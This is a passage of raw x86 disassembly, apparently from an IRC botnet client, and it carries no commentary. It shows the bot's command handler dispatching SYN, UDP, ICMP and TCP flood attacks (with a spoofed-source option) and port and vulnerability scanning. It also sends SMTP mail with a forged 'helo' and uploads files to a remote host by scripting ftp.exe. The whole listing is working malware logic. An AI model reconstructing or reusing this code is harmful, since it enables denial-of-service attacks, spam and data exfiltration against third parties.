		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407864
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E8B
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40777C
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40777C
		push	[ebp+arg_8]
		push	offset aUsa_syn	; "usa.syn"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407683
		push	[ebp+arg_8]
		push	offset aUsa_ack	; "usa.ack"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407683
		push	[ebp+arg_8]
		push	offset aUsa_rm	; "usa.rm"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407683
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EF6
		push	7Fh
		lea	eax, [ebp+var_2978]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_28F8]
		push	edi
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_0]
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_27F8]
		push	[ebp+var_88]
		push	eax
		call	sub_417B00
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2770],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_2774],	edi
		mov	[ebp+var_297C],	esi
		call	sub_40A203
		add	esp, 3Ch
		mov	[ebp+var_2778],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_297C]
		push	ebx
		push	eax
		push	offset sub_413078
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_2778]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_405EE5


loc_405ECF:				; CODE XREF: sub_401AC7+441Cj
		cmp	[ebp+var_276C],	ebx
		jnz	loc_4038ED
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_405ECF
; ---------------------------------------------------------------------------


loc_405EE5:				; CODE XREF: sub_401AC7+4406j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D684
		jmp	loc_4038DE
; ---------------------------------------------------------------------------


loc_405EF6:				; CODE XREF: sub_401AC7+435Cj
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40759B
		push	[ebp+arg_8]
		push	offset aSy1	; "sy1"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40759B
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406023
		push	7Fh
		lea	eax, [ebp+var_2764]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_26E4]
		push	edi
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_2664]
		push	[ebp+arg_0]
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_25E4]
		push	[ebp+var_88]
		push	eax
		call	sub_417B00
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2560],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_255C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2768],	esi
		push	offset dword_42D63C
		push	eax
		call	sub_417D96
		add	esp, 44h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	10h
		push	eax
		call	sub_40A203
		add	esp, 0Ch
		mov	[ebp+var_2564],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2768]
		push	ebx
		push	eax
		push	offset sub_411FDD
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_2564]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_406012


loc_405FFC:				; CODE XREF: sub_401AC7+4549j
		cmp	[ebp+var_2558],	ebx
		jnz	loc_40699B
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_405FFC
; ---------------------------------------------------------------------------


loc_406012:				; CODE XREF: sub_401AC7+4533j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42D600
		jmp	loc_40698C
; ---------------------------------------------------------------------------


loc_406023:				; CODE XREF: sub_401AC7+446Ej
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4074B3
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4074B3
		push	[ebp+arg_8]
		push	offset aDownload1 ; "download1"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407378
		push	[ebp+arg_8]
		push	offset aD1	; "d1"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407378
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40727E
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40727E
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40718B
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40718B
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070AE
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070AE
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F94
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F94
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E8B
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E8E
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E8E
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4069BB
		push	[ebp+arg_8]
		push	offset aVvv	; "vvv"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4069BB
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406875
		push	[ebp+arg_8]
		push	offset aPu1	; "pu1"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406875
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406875
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406767
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406767
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406640
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406640
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406640
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40648E
		push	[ebp+arg_8]
		push	offset aUsa	; "usa"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40648E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406436
		push	[ebp+arg_10]
		lea	eax, [ebp+var_4150]
		push	eax
		call	sub_4183B0
		push	edi
		call	sub_417C89
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_36E8]
		push	eax
		call	sub_4183B0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_35E8]
		push	eax
		call	sub_4183B0
		push	offset asc_42EF5C ; " "
		push	offset dword_42DD5C
		push	[ebp+esi+var_7C]
		call	sub_414FC3
		push	eax
		lea	eax, [ebp+var_34E8]
		push	eax
		call	sub_4183B0
		add	esp, 30h
		lea	eax, [ebp+var_46E8]
		push	eax
		push	101h
		call	dword_4C9778	; WSAStartup
		lea	eax, [ebp+var_4150]
		push	eax
		call	dword_4C987C	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4C9878	; socket
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4C97FC	; htons
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_34E8]
		push	eax
		lea	eax, [ebp+var_36E8]
		push	eax
		lea	eax, [ebp+var_34E8]
		push	eax
		lea	eax, [ebp+var_35E8]
		push	eax
		lea	eax, [ebp+var_36E8]
		push	eax
		lea	eax, [ebp+var_4AE8]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_417D96
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4C97A8	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_37E8]
		push	edi
		push	eax
		push	esi
		call	dword_4C9814	; recv
		lea	eax, [ebp+var_37E8]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_4AE8]
		push	eax
		push	esi
		call	dword_4C9848	; send
		push	ebx
		lea	eax, [ebp+var_37E8]
		push	edi
		push	eax
		push	esi
		call	dword_4C9814	; recv
		push	esi
		call	dword_4C9890	; closesocket
		call	dword_4C9760	; WSACleanup
		lea	eax, [ebp+var_35E8]
		push	eax
		push	offset unk_42D4D4


loc_4063EF:				; CODE XREF: sub_401AC7+5D98j
					; sub_401AC7+5F97j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96


loc_4063FB:				; CODE XREF: sub_401AC7+1FF2j
		add	esp, 0Ch


loc_4063FE:				; CODE XREF: sub_401AC7+3CB5j
					; sub_401AC7+3D0Dj ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_40641F
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h


loc_40641F:				; CODE XREF: sub_401AC7+2507j
					; sub_401AC7+2532j ...
		mov	esi, [ebp+arg_24]


loc_406422:				; CODE XREF: sub_401AC7+5F04j
					; sub_401AC7+6AE5j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E
		pop	ecx
		mov	eax, esi
		jmp	loc_401E8E
; ---------------------------------------------------------------------------


loc_406436:				; CODE XREF: sub_401AC7+47D2j
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406460
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406A0B


loc_406460:				; CODE XREF: sub_401AC7+4980j
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_417C89
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40F1D6
		jmp	loc_408A42
; ---------------------------------------------------------------------------


loc_40648E:				; CODE XREF: sub_401AC7+47A4j
					; sub_401AC7+47BBj
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1100]
		push	esi
		push	eax
		call	sub_417E90
		lea	eax, [ebp+var_1100]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_418570
		add	esp, 14h
		test	eax, eax
		jz	short loc_4064F3
		lea	eax, [ebp+var_1100]
		push	eax
		push	offset aAck	; "ack"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4064F3
		lea	eax, [ebp+var_1100]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4064F3
		push	offset unk_42D490
		jmp	loc_40662D
; ---------------------------------------------------------------------------


loc_4064F3:				; CODE XREF: sub_401AC7+49F2j
					; sub_401AC7+4A09j ...
		push	[ebp+arg_18]
		call	sub_417C89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_FF8], eax
		jle	loc_406628
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1100]
		push	esi
		push	eax
		call	sub_417E90
		push	edi
		lea	eax, [ebp+var_1180]
		push	esi
		push	eax
		call	sub_417E90
		push	[ebp+arg_0]
		call	sub_417C89
		mov	[ebp+var_FFC], eax
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1184],	eax
		lea	eax, [ebp+var_1080]
		push	esi
		push	eax
		call	sub_417E90
		mov	eax, [ebp+var_4]
		add	esp, 28h
		cmp	[ebp+var_FF4], ebx
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_FEC], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40658A
		mov	eax, offset aNormal ; "Normal"


loc_40658A:				; CODE XREF: sub_401AC7+4ABCj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42D44C
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_417E90
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40A203
		add	esp, 2Ch
		mov	[ebp+var_1000],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1184]
		push	ebx
		push	eax
		push	offset sub_4127E4
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_1000]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_406608


loc_4065F2:				; CODE XREF: sub_401AC7+4B3Fj
		cmp	[ebp+var_FE8], ebx
		jnz	loc_4079A7
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_4065F2
; ---------------------------------------------------------------------------


loc_406608:				; CODE XREF: sub_401AC7+4B29j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D414


loc_406614:				; CODE XREF: sub_401AC7+1CA5j
					; sub_401AC7+2940j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96


loc_406620:				; CODE XREF: sub_401AC7+4C9Bj
		add	esp, 0Ch
		jmp	loc_4079A7
; ---------------------------------------------------------------------------


loc_406628:				; CODE XREF: sub_401AC7+4A3Dj
		push	offset unk_42D3DC


loc_40662D:				; CODE XREF: sub_401AC7+1B6Ej
					; sub_401AC7+1B84j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx
		jmp	loc_4079A7
; ---------------------------------------------------------------------------


loc_406640:				; CODE XREF: sub_401AC7+475Fj
					; sub_401AC7+4776j ...
		cmp	dword_4C98E8, ebx
		jnz	loc_40674C
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_DA0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_DA4], eax
		lea	eax, [ebp+var_E38]
		push	eax
		call	sub_417B00
		push	edi
		call	sub_417C89
		push	[ebp+arg_0]
		mov	[ebp+var_DB8], eax
		call	sub_417C89
		push	[ebp+arg_18]
		mov	[ebp+var_DB4], eax
		call	sub_417C89
		push	7Fh
		mov	[ebp+var_DB0], eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_EB8]
		push	eax
		call	sub_417B00
		push	[ebp+var_DB0]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_EBC], eax
		lea	eax, [ebp+var_E38]
		push	[ebp+var_DB4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_DB8]
		push	offset unk_42D394
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40A203
		add	esp, 48h
		mov	[ebp+var_DA8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EBC]
		push	ebx
		push	eax
		push	offset sub_411C3B
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_DA8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_40673B


loc_406725:				; CODE XREF: sub_401AC7+4C72j
		cmp	[ebp+var_D9C], ebx
		jnz	loc_4079A7
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_406725
; ---------------------------------------------------------------------------


loc_40673B:				; CODE XREF: sub_401AC7+4C5Cj
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D35C
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_40674C:				; CODE XREF: sub_401AC7+4B7Fj
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_417B00
		jmp	loc_406620
; ---------------------------------------------------------------------------


loc_406767:				; CODE XREF: sub_401AC7+4731j
					; sub_401AC7+4748j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42D308
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		push	[ebp+arg_0]
		call	sub_4176F0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_4176F0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_4176F0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_4176F0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_417E10
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_417C89
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_406861


loc_4067EA:				; CODE XREF: sub_401AC7+4D47j
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_415679
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_406812
		cmp	eax, ebx
		jnz	short loc_406831
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4067EA
		jmp	short loc_40686A
; ---------------------------------------------------------------------------


loc_406812:				; CODE XREF: sub_401AC7+4D38j
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42D2D0


loc_40681B:				; CODE XREF: sub_401AC7+4DACj
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h
		jmp	loc_406A0B
; ---------------------------------------------------------------------------


loc_406831:				; CODE XREF: sub_401AC7+4D3Cj
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D29C
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 20h


loc_406861:				; CODE XREF: sub_401AC7+4D21j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_406A0B


loc_40686A:				; CODE XREF: sub_401AC7+4D49j
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42D268
		jmp	short loc_40681B
; ---------------------------------------------------------------------------


loc_406875:				; CODE XREF: sub_401AC7+46ECj
					; sub_401AC7+4703j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_B38], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		lea	eax, [ebp+var_BD0]
		push	eax
		call	sub_417B00
		push	edi
		call	sub_417C89
		push	[ebp+arg_0]
		mov	[ebp+var_B50], eax
		call	sub_417C89
		push	[ebp+arg_18]
		mov	[ebp+var_B4C], eax
		call	sub_417C89
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_B48], eax
		jz	short loc_4068DA
		push	esi
		call	sub_417C89
		pop	ecx
		mov	[ebp+var_B44], eax
		jmp	short loc_4068E0
; ---------------------------------------------------------------------------


loc_4068DA:				; CODE XREF: sub_401AC7+4E02j
		mov	[ebp+var_B44], ebx


loc_4068E0:				; CODE XREF: sub_401AC7+4E11j
		push	7Fh
		lea	eax, [ebp+var_C50]
		push	[ebp+var_88]
		push	eax
		call	sub_417B00
		push	[ebp+var_B48]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_BD0]
		mov	[ebp+var_C54], esi
		push	[ebp+var_B4C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_B50]
		push	offset unk_42D220
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40A203
		add	esp, 30h
		mov	[ebp+var_B40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C54]
		push	ebx
		push	eax
		push	offset sub_411DC7
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_B40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_406980


loc_40696E:				; CODE XREF: sub_401AC7+4EB7j
		cmp	[ebp+var_B34], ebx
		jnz	short loc_40699B
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40696E
; ---------------------------------------------------------------------------


loc_406980:				; CODE XREF: sub_401AC7+4EA5j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D1E8


loc_40698C:				; CODE XREF: sub_401AC7+4557j
					; sub_401AC7+59E7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_40699B:				; CODE XREF: sub_401AC7+453Bj
					; sub_401AC7+4EADj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4079C8
		push	ebx
		push	[ebp+var_4]


loc_4069A8:				; CODE XREF: sub_401AC7+1E31j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4079C0
; ---------------------------------------------------------------------------


loc_4069BB:				; CODE XREF: sub_401AC7+46BEj
					; sub_401AC7+46D5j
		push	0Bh
		call	sub_40A44B
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_417C89
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_406B83
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D1A8
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 20h


loc_406A0B:				; CODE XREF: sub_401AC7+4993j
					; sub_401AC7+4D65j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E8B
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408A45
		push	4
		push	esi
		call	sub_414432
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406A56
		push	esi
		push	offset unk_42D188


loc_406A42:				; CODE XREF: sub_401AC7+6D36j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		jmp	loc_408815
; ---------------------------------------------------------------------------


loc_406A56:				; CODE XREF: sub_401AC7+4F73j
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		call	sub_417DF2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_417DF2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_417DF2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_4558]
		push	edx
		push	eax
		lea	eax, [ebp+var_22B0]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_22B0]
		push	offset aAb	; "ab"
		push	eax
		call	sub_417A18
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E8B
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_4182FF
		push	[ebp+arg_24]
		call	sub_41776B
		lea	eax, [ebp+var_22B0]
		push	eax
		lea	eax, [ebp+var_4350]
		push	offset aSS_3	; "-s:%s"
		push	eax
		call	sub_417D96
		add	esp, 2Ch
		lea	eax, [ebp+var_4350]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4C9774
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_406B22
		push	offset unk_42D118
		jmp	short loc_406B27
; ---------------------------------------------------------------------------


loc_406B22:				; CODE XREF: sub_401AC7+5052j
		push	offset unk_42D0E8


loc_406B27:				; CODE XREF: sub_401AC7+5059j
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_406B50
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h


loc_406B50:				; CODE XREF: sub_401AC7+506Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E


loc_406B5C:				; CODE XREF: sub_401AC7+50BAj
		lea	eax, [ebp+var_22B0]
		push	4
		push	eax
		call	sub_414432
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E8B
		lea	eax, [ebp+var_22B0]
		push	eax
		call	sub_4182D5
		jmp	short loc_406B5C
; ---------------------------------------------------------------------------


loc_406B83:				; CODE XREF: sub_401AC7+4F0Ej
		push	[ebp+arg_10]
		call	sub_417C89
		push	edi
		mov	[ebp+var_370], eax
		call	sub_417C89
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_417C89
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_406BBC
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_406BBC:				; CODE XREF: sub_401AC7+50EAj
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_406BC9
		mov	[ebp+var_36C], ecx


loc_406BC9:				; CODE XREF: sub_401AC7+50FAj
		push	[ebp+arg_18]
		call	sub_417C89
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_406BEB
		mov	[ebp+var_368], eax


loc_406BEB:				; CODE XREF: sub_401AC7+511Cj
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_433878, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_406C3A
		mov	edi, offset dword_433878


loc_406C02:				; CODE XREF: sub_401AC7+5155j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406C20
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_406C02
